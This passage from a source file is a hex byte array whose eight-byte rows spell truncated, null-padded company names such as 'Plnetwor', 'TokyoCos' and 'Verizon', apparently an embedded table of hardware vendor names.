0x61, 0x6e, 0x74, 0x69, 0x78,\r\n0x50, 0x6c, 0x6e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x41, 0x6e, 0x61, 0x6b, 0x72, 0x65, 0x6f, 0x6e,\r\n0x41, 0x74, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x4e, 0x69, 0x6e, 0x67, 0x62, 0x6f, 0x53, 0x61,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x43, 0x6f, 0x73,\r\n0x54, 0x72, 0x65, 0x65, 0x74, 0x65, 0x63, 0x68,\r\n0x56, 0x6f, 0x6c, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x6d,\r\n0x45, 0x65, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x4d, 0x69, 0x64, 0x69, 0x63, 0x6f, 0x6d, 0x45,\r\n0x4e, 0x65, 0x6d, 0x6f, 0x61, 0x45, 0x6c, 0x65,\r\n0x41, 0x72, 0x6d, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x49, 0x6e, 0x63, 0x69, 0x70, 0x69, 0x6f, 0x54,\r\n0x41, 0x6d, 0x70, 0x68, 0x69, 0x74, 0x65, 0x63,\r\n0x4c, 0x74, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69,\r\n0x41, 0x76, 0x65, 0x72, 0x6d, 0x65, 0x74, 0x72,\r\n0x54, 0x65, 0x6d, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x62, 0x72, 0x69,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x44, 0x65,\r\n0x50, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x44, 0x79, 0x6e, 0x61, 0x70, 0x6f, 0x77, 0x65,\r\n0x4e, 0x6f, 0x63, 0x63, 0x65, 0x6c, 0x61, 0x4f,\r\n0x4d, 0x6f, 0x6e, 0x61, 0x63, 0x6f, 0x45, 0x6e,\r\n0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x53, 0x65,\r\n0x41, 0x76, 0x69, 0x73, 0x74, 0x65, 0x6c, 0x00,\r\n0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x53, 0x6f,\r\n0x45, 0x6e, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x76, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x4c, 0x6f, 0x67, 0x69, 0x2d, 0x44, 0x00, 0x00,\r\n0x4e, 0x79, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x00,\r\n0x4b, 0x61, 0x6c, 0x65, 0x61, 0x6f, 0x00, 0x00,\r\n0x43, 0x79, 0x70, 0x72, 0x65, 0x73, 0x73, 0x45,\r\n0x54, 0x75, 0x62, 0x69, 0x74, 0x61, 0x6b, 0x55,\r\n0x56, 0x61, 0x72, 0x65, 0x78, 0x49, 0x6d, 0x61,\r\n0x4a, 0x6f, 0x61, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x48, 0x65, 0x66, 0x65, 0x69, 0x52, 0x61, 0x64,\r\n0x56, 0x69, 0x78, 0x74, 0x65, 0x6c, 0x54, 0x65,\r\n0x4c, 0x63, 0x66, 0x63, 0x48, 0x65, 0x66, 0x65,\r\n0x41, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x6e, 0x67, 0x74, 0x6f, 0x70, 0x49,\r\n0x50, 0x6e, 0x69, 0x53, 0x65, 0x6e, 0x73, 0x6f,\r\n0x42, 0x6c, 0x75, 0x43, 0x61, 0x73, 0x74, 0x6c,\r\n0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x5a,\r\n0x53, 0x4d, 0x44, 0x65, 0x7a, 0x61, 0x63, 0x53,\r\n0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x6f,\r\n0x4d, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x77, 0x69,\r\n0x47, 0x69, 0x67, 0x61, 0x73, 0x65, 0x74, 0x44,\r\n0x41, 0x72, 0x63, 0x68, 0x65, 0x61, 0x6e, 0x54,\r\n0x44, 0x75, 0x6e, 0x65, 0x48, 0x64, 0x00, 0x00,\r\n0x53, 0x61, 0x62, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x4b, 0x41, 0x53, 0x63, 0x68, 0x6d, 0x65, 0x72,\r\n0x48, 0x75, 0x26, 0x43, 0x6f, 0x00, 0x00, 0x00,\r\n0x4f, 0x68, 0x73, 0x75, 0x6e, 0x67, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x63, 0x68, 0x45, 0x6c, 0x65,\r\n0x53, 0x4e, 0x65, 0x74, 0x4d, 0x65, 0x64, 0x69,\r\n0x4d, 0x70, 0x6d, 0x6b, 0x76, 0x76, 0x63, 0x6c,\r\n0x4d, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x4c, 0x6c,\r\n0x42, 0x73, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x73,\r\n0x57, 0x61, 0x63, 0x68, 0x74, 0x65, 0x72, 0x00,\r\n0x4b, 0x61, 0x69, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x41, 0x69, 0x72, 0x6e, 0x61, 0x76, 0x4c, 0x6c,\r\n0x58, 0x74, 0x72, 0x65, 0x6d, 0x69, 0x6f, 0x00,\r\n0x53, 0x61, 0x67, 0x69, 0x74, 0x74, 0x61, 0x72,\r\n0x46, 0x69, 0x74, 0x62, 0x69, 0x74, 0x00, 0x00,\r\n0x48, 0x61, 0x72, 0x62, 0x69, 0x6e, 0x41, 0x72,\r\n0x42, 0x69, 0x74, 0x74, 0x69, 0x75, 0x6d, 0x57,\r\n0x49, 0x62, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x44, 0x69, 0x6c, 0x61, 0x78, 0x49, 0x6e, 0x74,\r\n0x41, 0x63, 0x65, 0x72, 0x43, 0x6f, 0x6d, 0x70,\r\n0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x72, 0x6f, 0x6e,\r\n0x49, 0x73, 0x6f, 0x6e, 0x65, 0x61, 0x00, 0x00,\r\n0x57, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x68,\r\n0x43, 0x65, 0x64, 0x69, 0x6e, 0x74, 0x2d, 0x55,\r\n0x43, 0x65, 0x70, 0x74, 0x6f, 0x6e, 0x54, 0x65,\r\n0x54, 0x65, 0x62, 0x53, 0x61, 0x73, 0x00, 0x00,\r\n0x44, 0x61, 0x65, 0x77, 0x6f, 0x6f, 0x69, 0x73,\r\n0x54, 0x61, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x4f,\r\n0x41, 0x7a, 0x74, 0x65, 0x63, 0x68, 0x41, 0x73,\r\n0x4b, 0x75, 0x6d, 0x6d, 0x6c, 0x65, 0x72, 0x2b,\r\n0x38, 0x64, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x43, 0x6f, 0x6e, 0x63, 0x65, 0x70, 0x74, 0x44,\r\n0x4e, 0x65, 0x63, 0x74, 0x61, 0x72, 0x73, 0x6f,\r\n0x4a, 0x69, 0x6e, 0x77, 0x6f, 0x6f, 0x49, 0x6e,\r\n0x57, 0x6f, 0x6f, 0x6a, 0x69, 0x6e, 0x49, 0x6e,\r\n0x4c, 0x61, 0x6f, 0x6e, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x6c, 0x65, 0x63, 0x73, 0x79, 0x73, 0x49,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x4c, 0x69, 0x6e,\r\n0x43, 0x61, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x68,\r\n0x55, 0x6e, 0x69, 0x63, 0x6f, 0x69, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x73, 0x65, 0x61, 0x54, 0x65,\r\n0x42, 0x79, 0x64, 0x50, 0x72, 0x65, 0x63, 0x69,\r\n0x52, 0x69, 0x61, 0x76, 0x61, 0x4e, 0x65, 0x74,\r\n0x46, 0x61, 0x73, 0x74, 0x62, 0x61, 0x63, 0x6b,\r\n0x4d, 0x65, 0x73, 0x73, 0x6f, 0x61, 0x54, 0x65,\r\n0x53, 0x6f, 0x61, 0x72, 0x6e, 0x65, 0x78, 0x00,\r\n0x5a, 0x65, 0x6e, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x42, 0x6f, 0x62, 0x6a, 0x67, 0x65, 0x61, 0x72,\r\n0x4c, 0x65, 0x6d, 0x6f, 0x6e, 0x62, 0x65, 0x61,\r\n0x54, 0x6f, 0x70, 0x56, 0x69, 0x63, 0x74, 0x6f,\r\n0x56, 0x65, 0x72, 0x6f, 0x73, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x6f, 0x76, 0x65, 0x72, 0x44,\r\n0x4b, 0x6f, 0x6d, 0x65, 0x67, 0x49, 0x6e, 0x64,\r\n0x42, 0x65, 0x77, 0x61, 0x72, 0x64, 0x52, 0x26,\r\n0x41, 0x64, 0x61, 0x6e, 0x69, 0x73, 0x00, 0x00,\r\n0x45, 0x74, 0x61, 0x50, 0x6c, 0x75, 0x73, 0x45,\r\n0x47, 0x6d, 0x6a, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x41, 0x6d, 0x69, 0x63, 0x63, 0x6f, 0x6d, 0x45,\r\n0x56, 0x61, 0x6c, 0x65, 0x6f, 0x56, 0x69, 0x73,\r\n0x42, 0x61, 0x72, 0x62, 0x65, 0x72, 0x72, 0x79,\r\n0x41, 0x6c, 0x69, 0x62, 0x61, 0x62, 0x61, 0x43,\r\n0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x75, 0x73,\r\n0x43, 0x65, 0x72, 0x65, 0x62, 0x72, 0x65, 0x78,\r\n0x54, 0x70, 0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e,\r\n0x47, 0x32, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x49,\r\n0x43, 0x73, 0x65, 0x2d, 0x53, 0x65, 0x72, 0x76,\r\n0x45, 0x73, 0x73, 0x65, 0x6c, 0x2d, 0x54, 0x00,\r\n0x50, 0x6f, 0x6c, 0x6f, 0x73, 0x74, 0x61, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x6f, 0x72, 0x72, 0x65, 0x79, 0x50, 0x69,\r\n0x4e, 0x65, 0x74, 0x6c, 0x6f, 0x67, 0x69, 0x63,\r\n0x4e, 0x65, 0x73, 0x74, 0x4c, 0x61, 0x62, 0x73,\r\n0x49, 0x2d, 0x53, 0x74, 0x6f, 0x72, 0x6d, 0x00,\r\n0x49, 0x6e, 0x76, 0x6f, 0x78, 0x69, 0x61, 0x00,\r\n0x4c, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x54, 0x75, 0x63, 0x73, 0x6f, 0x6e, 0x45, 0x6d,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x6f, 0x54, 0x65,\r\n0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4a,\r\n0x53, 0x6d, 0x67, 0x48, 0x6f, 0x6c, 0x64, 0x69,\r\n0x49, 0x6e, 0x6d, 0x61, 0x72, 0x73, 0x61, 0x74,\r\n0x4b, 0x75, 0x72, 0x74, 0x68, 0x45, 0x6c, 0x65,\r\n0x51, 0x76, 0x69, 0x73, 0x4c, 0x61, 0x62, 0x73,\r\n0x53, 0x74, 0x74, 0x43, 0x6f, 0x6e, 0x64, 0x69,\r\n0x56, 0x69, 0x6b, 0x69, 0x6e, 0x67, 0x45, 0x6c,\r\n0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x74, 0x65,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x6d, 0x57,\r\n0x53, 0x68, 0x61, 0x6e, 0x6e, 0x6f, 0x6e, 0x00,\r\n0x49, 0x33, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e,\r\n0x49, 0x73, 0x63, 0x41, 0x70, 0x70, 0x6c, 0x69,\r\n0x43, 0x68, 0x61, 0x6e, 0x67, 0x68, 0x65, 0x45,\r\n0x45, 0x73, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69,\r\n0x41, 0x75, 0x74, 0x6f, 0x73, 0x61, 0x72, 0x00,\r\n0x4e, 0x61, 0x72, 0x69, 0x54, 0x65, 0x63, 0x68,\r\n0x49, 0x64, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x70, 0x69, 0x63, 0x6f, 0x6d, 0x53, 0x41,\r\n0x4c, 0x75, 0x63, 0x69, 0x64, 0x56, 0x69, 0x73,\r\n0x53, 0x79, 0x70, 0x72, 0x6f, 0x4f, 0x70, 0x74,\r\n0x57, 0x61, 0x72, 0x74, 0x73, 0x69, 0x6c, 0x61,\r\n0x49, 0x65, 0x65, 0x65, 0x50, 0x65, 0x73, 0x50,\r\n0x41, 0x69, 0x72, 0x77, 0x69, 0x72, 0x65, 0x54,\r\n0x45, 0x79, 0x65, 0x76, 0x69, 0x73, 0x00, 0x00,\r\n0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x48, 0x69,\r\n0x4c, 0x69, 0x66, 0x65, 0x62, 0x65, 0x61, 0x6d,\r\n0x45, 0x64, 0x6d, 0x69, 0x45, 0x75, 0x72, 0x6f,\r\n0x44, 0x61, 0x74, 0x61, 0x6e, 0x67, 0x47, 0x6f,\r\n0x50, 0x65, 0x72, 0x6e, 0x69, 0x78, 0x64, 0x61,\r\n0x49, 0x74, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x63,\r\n0x4e, 0x65, 0x77, 0x4c, 0x69, 0x66, 0x74, 0x4e,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x69, 0x75, 0x6d,\r\n0x41, 0x63, 0x63, 0x75, 0x73, 0x70, 0x65, 0x63,\r\n0x53, 0x69, 0x67, 0x6d, 0x61, 0x4b, 0x6f, 0x6b,\r\n0x47, 0x65, 0x6d, 0x61, 0x6c, 0x74, 0x6f, 0x4d,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x69, 0x72,\r\n0x49, 0x6d, 0x73, 0x4d, 0x65, 0x73, 0x73, 0x73,\r\n0x41, 0x6d, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x67, 0x45, 0x6e, 0x74, 0x65, 0x72,\r\n0x54, 0x65, 0x63, 0x68, 0x61, 0x79, 0x61, 0x00,\r\n0x46, 0x6c, 0x61, 0x74, 0x44, 0x69, 0x73, 0x70,\r\n0x51, 0x69, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x00,\r\n0x4b, 0x72, 0x61, 0x66, 0x74, 0x77, 0x61, 0x79,\r\n0x54, 0x65, 0x67, 0x69, 0x6c, 0x65, 0x00, 0x00,\r\n0x50, 0x72, 0x69, 0x6d, 0x61, 0x43, 0x69, 0x6e,\r\n0x4f, 0x70, 0x65, 0x6e, 0x70, 0x72, 0x6f, 0x64,\r\n0x4d, 0x69, 0x74, 0x73, 0x75, 0x6e, 0x61, 0x6d,\r\n0x4c, 0x6f, 0x67, 0x69, 0x73, 0x74, 0x69, 0x63,\r\n0x51, 0x75, 0x61, 0x72, 0x69, 0x6f, 0x6e, 0x54,\r\n0x4e, 0x65, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x73, 0x69, 0x63, 0x54,\r\n0x45, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x69, 0x74, 0x65, 0x6b, 0x49, 0x6e, 0x64,\r\n0x43, 0x6f, 0x72, 0x69, 0x61, 0x6e, 0x74, 0x00,\r\n0x33, 0x62, 0x75, 0x6d, 0x65, 0x6e, 0x43, 0x6f,\r\n0x48, 0x65, 0x66, 0x65, 0x69, 0x42, 0x69, 0x74,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x65, 0x64, 0x49, 0x70,\r\n0x4d, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x62, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x50, 0x68, 0x61, 0x73, 0x65, 0x4d, 0x6f, 0x74,\r\n0x52, 0x75, 0x61, 0x67, 0x53, 0x63, 0x68, 0x77,\r\n0x49, 0x2d, 0x4c, 0x61, 0x78, 0x45, 0x6c, 0x65,\r\n0x56, 0x65, 0x65, 0x74, 0x68, 0x72, 0x65, 0x65,\r\n0x57, 0x65, 0x69, 0x66, 0x61, 0x6e, 0x67, 0x47,\r\n0x50, 0x72, 0x69, 0x63, 0x6f, 0x6d, 0x44, 0x65,\r\n0x5a, 0x6f, 0x6f, 0x76, 0x65, 0x6c, 0x54, 0x65,\r\n0x52, 0x75, 0x77, 0x69, 0x64, 0x6f, 0x41, 0x75,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x6f, 0x6c, 0x74,\r\n0x4e, 0x65, 0x77, 0x48, 0x33, 0x63, 0x54, 0x65,\r\n0x42, 0x6f, 0x73, 0x75, 0x6e, 0x67, 0x45, 0x6c,\r\n0x54, 0x64, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x4f, 0x6a, 0x73, 0x63, 0x55, 0x66, 0x69, 0x6d,\r\n0x41, 0x6d, 0x70, 0x6c, 0x69, 0x66, 0x69, 0x65,\r\n0x57, 0x61, 0x76, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x4d, 0x69, 0x6c, 0x65, 0x73, 0x69, 0x67, 0x68,\r\n0x4b, 0x72, 0x69, 0x77, 0x61, 0x6e, 0x49, 0x6e,\r\n0x4c, 0x65, 0x65, 0x64, 0x61, 0x72, 0x73, 0x6f,\r\n0x4d, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6c, 0x00,\r\n0x45, 0x6c, 0x6f, 0x54, 0x6f, 0x75, 0x63, 0x68,\r\n0x49, 0x6c, 0x73, 0x68, 0x69, 0x6e, 0x45, 0x6c,\r\n0x42, 0x65, 0x62, 0x72, 0x6f, 0x45, 0x6c, 0x65,\r\n0x57, 0x65, 0x61, 0x72, 0x68, 0x61, 0x75, 0x73,\r\n0x53, 0x63, 0x61, 0x70, 0x73, 0x00, 0x00, 0x00,\r\n0x54, 0x75, 0x72, 0x74, 0x6c, 0x65, 0x49, 0x6e,\r\n0x52, 0x65, 0x61, 0x6c, 0x66, 0x69, 0x63, 0x74,\r\n0x49, 0x64, 0x65, 0x6e, 0x74, 0x79, 0x74, 0x65,\r\n0x4c, 0x69, 0x6e, 0x65, 0x61, 0x52, 0x65, 0x73,\r\n0x52, 0x61, 0x64, 0x6d, 0x61, 0x78, 0x43, 0x6f,\r\n0x4f, 0x6f, 0x6f, 0x49, 0x6e, 0x70, 0x72, 0x6f,\r\n0x58, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x68, 0x61,\r\n0x49, 0x65, 0x63, 0x54, 0x63, 0x39, 0x57, 0x00,\r\n0x46, 0x6f, 0x78, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x4d, 0x6f, 0x73, 0x74, 0x4c, 0x75, 0x63, 0x6b,\r\n0x53, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x65, 0x63,\r\n0x45, 0x6c, 0x61, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x65, 0x77,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x63,\r\n0x4b, 0x6f, 0x6e, 0x67, 0x59, 0x75, 0x65, 0x45,\r\n0x43, 0x6f, 0x6c, 0x6c, 0x69, 0x6e, 0x65, 0x61,\r\n0x48, 0x64, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x67, 0x61, 0x66, 0x6f, 0x6e, 0x65,\r\n0x4b, 0x75, 0x69, 0x70, 0x65, 0x72, 0x73, 0x45,\r\n0x53, 0x69, 0x76, 0x61, 0x6e, 0x74, 0x6f, 0x73,\r\n0x46, 0x65, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x68, 0x44,\r\n0x56, 0x65, 0x63, 0x6f, 0x77, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x63, 0x61, 0x6e, 0x53,\r\n0x48, 0x75, 0x67, 0x6f, 0x42, 0x72, 0x65, 0x6e,\r\n0x41, 0x78, 0x78, 0x61, 0x6e, 0x61, 0x49, 0x73,\r\n0x52, 0x69, 0x73, 0x6b, 0x54, 0x65, 0x63, 0x68,\r\n0x47, 0x6f, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e,\r\n0x50, 0x61, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x54,\r\n0x43, 0x6f, 0x76, 0x61, 0x6c, 0x00, 0x00, 0x00,\r\n0x59, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f, 0x75,\r\n0x41, 0x62, 0x65, 0x65, 0x77, 0x61, 0x79, 0x00,\r\n0x50, 0x6c, 0x75, 0x74, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x6c, 0x61, 0x73, 0x45, 0x6c, 0x65,\r\n0x42, 0x72, 0x61, 0x65, 0x6d, 0x61, 0x63, 0x43,\r\n0x53, 0x66, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x4c, 0x65, 0x6e, 0x6f, 0x76, 0x6f, 0x42, 0x65,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x46, 0x61, 0x75,\r\n0x41, 0x73, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x65, 0x73, 0x4d, 0x6f, 0x74, 0x6f, 0x6d,\r\n0x50, 0x72, 0x6f, 0x66, 0x61, 0x6c, 0x75, 0x78,\r\n0x49, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x6f, 0x6c, 0x61, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x4a, 0x69, 0x61, 0x78, 0x69, 0x6e, 0x67, 0x47,\r\n0x4c, 0x65, 0x65, 0x2d, 0x44, 0x69, 0x63, 0x6b,\r\n0x4d, 0x69, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x42, 0x6f, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x54,\r\n0x49, 0x70, 0x2d, 0x4e, 0x65, 0x74, 0x4c, 0x6c,\r\n0x45, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x74, 0x72,\r\n0x4d, 0x69, 0x6d, 0x6f, 0x73, 0x61, 0x4e, 0x65,\r\n0x4f, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x45,\r\n0x43, 0x6f, 0x6c, 0x47, 0x69, 0x6f, 0x76, 0x61,\r\n0x44, 0x76, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x65, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x00,\r\n0x49, 0x57, 0x69, 0x74, 0x44, 0x69, 0x67, 0x69,\r\n0x52, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x6e, 0x65,\r\n0x50, 0x65, 0x72, 0x61, 0x73, 0x6f, 0x54, 0x65,\r\n0x57, 0x69, 0x6e, 0x63, 0x61, 0x6c, 0x54, 0x65,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x63, 0x61, 0x70,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x49, 0x6e, 0x66,\r\n0x50, 0x6f, 0x73, 0x68, 0x4d, 0x6f, 0x62, 0x69,\r\n0x49, 0x6f, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x68, 0x65, 0x65, 0x74, 0x61, 0x68, 0x48,\r\n0x53, 0x70, 0x61, 0x72, 0x6b, 0x53, 0x72, 0x6c,\r\n0x41, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x45,\r\n0x45, 0x6c, 0x65, 0x66, 0x69, 0x72, 0x73, 0x74,\r\n0x4d, 0x74, 0x64, 0x61, 0x74, 0x61, 0x44, 0x65,\r\n0x43, 0x6f, 0x64, 0x65, 0x78, 0x44, 0x69, 0x67,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x49, 0x6e,\r\n0x4d, 0x32, 0x6d, 0x53, 0x6f, 0x6c, 0x75, 0x74,\r\n0x4d, 0x74, 0x6e, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x44, 0x65, 0x76, 0x6c, 0x69, 0x6e, 0x45, 0x6c,\r\n0x56, 0x69, 0x65, 0x74, 0x74, 0x65, 0x6c, 0x47,\r\n0x4b, 0x6f, 0x73, 0x74, 0x61, 0x6c, 0x49, 0x6e,\r\n0x53, 0x6d, 0x6e, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x69, 0x78,\r\n0x53, 0x71, 0x75, 0x61, 0x72, 0x65, 0x68, 0x65,\r\n0x43, 0x61, 0x6c, 0x73, 0x79, 0x73, 0x00, 0x00,\r\n0x54, 0x6f, 0x73, 0x68, 0x69, 0x62, 0x61, 0x47,\r\n0x45, 0x6d, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x49, 0x72, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x6f, 0x64, 0x65,\r\n0x41, 0x6c, 0x69, 0x6e, 0x63, 0x6f, 0x00, 0x00,\r\n0x47, 0x65, 0x6d, 0x75, 0x65, 0x47, 0x65, 0x62,\r\n0x50, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x49, 0x72, 0x75, 0x6c, 0x65, 0x4c, 0x6c, 0x63,\r\n0x56, 0x69, 0x7a, 0x65, 0x6f, 0x00, 0x00, 0x00,\r\n0x57, 0x68, 0x69, 0x74, 0x65, 0x53, 0x6b, 0x79,\r\n0x4c, 0x69, 0x74, 0x65, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4e, 0x63, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x78, 0x69, 0x65, 0x43, 0x6f, 0x6e, 0x73,\r\n0x51, 0x6e, 0x61, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x7a, 0x62, 0x65, 0x72, 0x69, 0x54,\r\n0x53, 0x79, 0x73, 0x6d, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x43, 0x79, 0x67, 0x53, 0x75, 0x6e, 0x72, 0x69,\r\n0x42, 0x72, 0x61, 0x76, 0x65, 0x72, 0x69, 0x64,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x64, 0x69, 0x73, 0x6b,\r\n0x4a, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x65, 0x00,\r\n0x49, 0x74, 0x2d, 0x49, 0x73, 0x49, 0x6e, 0x74,\r\n0x59, 0x75, 0x6b, 0x61, 0x69, 0x45, 0x6e, 0x67,\r\n0x49, 0x6f, 0x74, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x48, 0x65, 0x72, 0x6d, 0x61, 0x6e, 0x4d, 0x69,\r\n0x57, 0x65, 0x73, 0x74, 0x63, 0x6f, 0x6e, 0x74,\r\n0x4b, 0x73, 0x68, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x50, 0x72, 0x6f, 0x77, 0x61, 0x76, 0x65, 0x54,\r\n0x43, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00,\r\n0x56, 0x6f, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x4f, 0x70, 0x65, 0x6e, 0x52, 0x6f, 0x61, 0x64,\r\n0x54, 0x65, 0x63, 0x68, 0x76, 0x69, 0x73, 0x69,\r\n0x4b, 0x6f, 0x75, 0x6b, 0x61, 0x61, 0x6d, 0x41,\r\n0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x43, 0x61,\r\n0x53, 0x79, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x74,\r\n0x50, 0x75, 0x72, 0x65, 0x53, 0x74, 0x6f, 0x72,\r\n0x4e, 0x65, 0x78, 0x67, 0x65, 0x6e, 0x4d, 0x65,\r\n0x46, 0x72, 0x69, 0x65, 0x6d, 0x00, 0x00, 0x00,\r\n0x43, 0x72, 0x65, 0x6e, 0x75, 0x73, 0x00, 0x00,\r\n0x4f, 0x70, 0x7a, 0x6f, 0x6f, 0x6e, 0x54, 0x65,\r\n0x52, 0x69, 